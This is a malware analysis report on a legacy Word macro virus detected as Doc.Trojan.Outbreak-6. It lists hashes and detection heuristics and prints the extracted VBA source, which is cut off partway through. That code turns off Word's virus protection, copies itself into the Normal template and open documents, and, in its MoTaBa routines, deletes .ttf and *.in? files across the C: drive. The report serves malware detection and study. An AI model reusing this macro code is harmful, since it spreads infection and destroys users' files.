Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53218df5fd725ea0…

MALICIOUS

Office (OLE)

41.5 KB Created: 2000-03-27 13:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fe023816d43d3444502a7db0fec1721e SHA-1: bdc33d312863dd8c93cc48cc9ecaa464bd55a445 SHA-256: 53218df5fd725ea0bc2b8907af18e8973b7ce48206935313b7130bdfc4a2875a
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This document contains legacy WordBasic macro markers and AutoOpen/AutoClose macros, indicating a potential for malicious execution. The VBA script attempts to interact with a file named 'c:\command.log' and calls other macros like 'MoTaBa', suggesting a multi-stage infection process. The presence of ClamAV detections for 'Doc.Trojan.Outbreak-6' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Outbreak-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Outbreak-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5323 bytes
SHA-256: 20166ffb37ff6c791252e7c4a84dd859033af1efccae56b4833fe2c2531cbbe3
Detection
ClamAV: Doc.Trojan.Outbreak-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "OutBreak"
Sub AutoClose()
Attribute AutoClose.VB_Description = "¥¨¶°«Ø¥ß©ó 98/??/??¡A«Ø¥ßªÌ OutBreak"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.OutBreak.AutoClose"
Dim TIMER
On Error Resume Next
Options.VirusProtection = False
Set activedoc = ActiveDocument
Set GlobalDoc = NormalTemplate
   

 Application.OrganizerCopy Source:=NormalTemplate.FullName, _
 Destination:=ActiveDocument.FullName, Name:="OutBreak", _
 Object:=wdOrganizerObjectProjectItems
 activedoc.SaveAs , fileformat:=wdFormatTemplate
 Options.SavePropertiesPrompt = False
   
   
 Application.OrganizerCopy Source:=ActiveDocument.FullName, _
 Destination:=NormalTemplate.FullName, Name:="OutBreak", _
 Object:=wdOrganizerObjectProjectItems
 Options.SaveNormalPrompt = False


TIMER = Int(Rnd() * 20) + 1
If TIMER = 13 Then
WordBasic.Call "MoTaBa"
WordBasic.Call "MoTaBa2"
End If
exit_:

End Sub
Sub AutoExec()
Dim A$
On Error Resume Next

Open "c:\command.log" For Input As 1
Input #1, A$
Close 1

If A$ = "OutBreak-J" Then
WordBasic.Call "MoTaBa1"
WordBasic.Call "MoTaBa3"
End If

If A$ = "" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-A"
Close 1
GoTo exit_
End If

If A$ = "OutBreak-A" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-B"
Close 1
GoTo exit_
End If

If A$ = "OutBreak-B" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-C"
Close 1
GoTo exit_
End If

If A$ = "OutBreak-C" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-D"
Close 1
GoTo exit_
End If

If A$ = "OutBreak-D" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-E"
Close 1
GoTo exit_
End If

If A$ = "OutBreak-E" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-F"
Close 1
GoTo exit_
End If

If A$ = "OutBreak-F" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-G"
Close 1
GoTo exit_
End If

If A$ = "OutBreak-G" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-H"
Close 1
GoTo exit_
End If

If A$ = "OutBreak-H" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-I"
Close 1
GoTo exit_
End If

If A$ = "OutBreak-I" Then
Open "c:\command.log" For Output As 1
Print #1, "OutBreak-J"
Close 1
GoTo exit_
End If

exit_:

End Sub
Sub AutoOpen()
On Error Resume Next
   
Options.VirusProtection = False
Set activedoc = ActiveDocument
Set GlobalDoc = NormalTemplate
   
  
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, Name:="OutBreak", _
Object:=wdOrganizerObjectProjectItems
activedoc.SaveAs , fileformat:=wdFormatTemplate
Options.SavePropertiesPrompt = False
   

    
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="OutBreak", _
Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False

exit_:
End Sub
Sub FileTemplates()
AutoExec
Rem OutBreak
End Sub
Sub ViewVBCode()
AutoExec
Rem OutBreak
End Sub
Sub ToolsCustomize()
Rem OutBreak
End Sub
Sub ToolsOptions()
Rem OutBreak
End Sub
Sub ToolsMacro()
AutoExec
Rem OutBreak
End Sub
Sub MoTaBa()
On Error Resume Next

 With Application.FileSearch
        .Filename = "*.in?"
        .LookIn = "C:\"
        .SearchSubFolders = True
        .Execute
        If .FoundFiles.count <> 0 Then
            For I = 1 To .FoundFiles.count
            Kill .FoundFiles(I)
            'Beep
            Next I
        End If
    End With

End Sub
Sub MoTaBa1()
On Error Resume Next

 With Application.FileSearch
        .Filename = "*.ttf"
        .LookIn = "C:\"
        .SearchSubFolders = True
        .Execute
        If .FoundFiles.count <> 0 Then
            For I = 1 To 
... (truncated)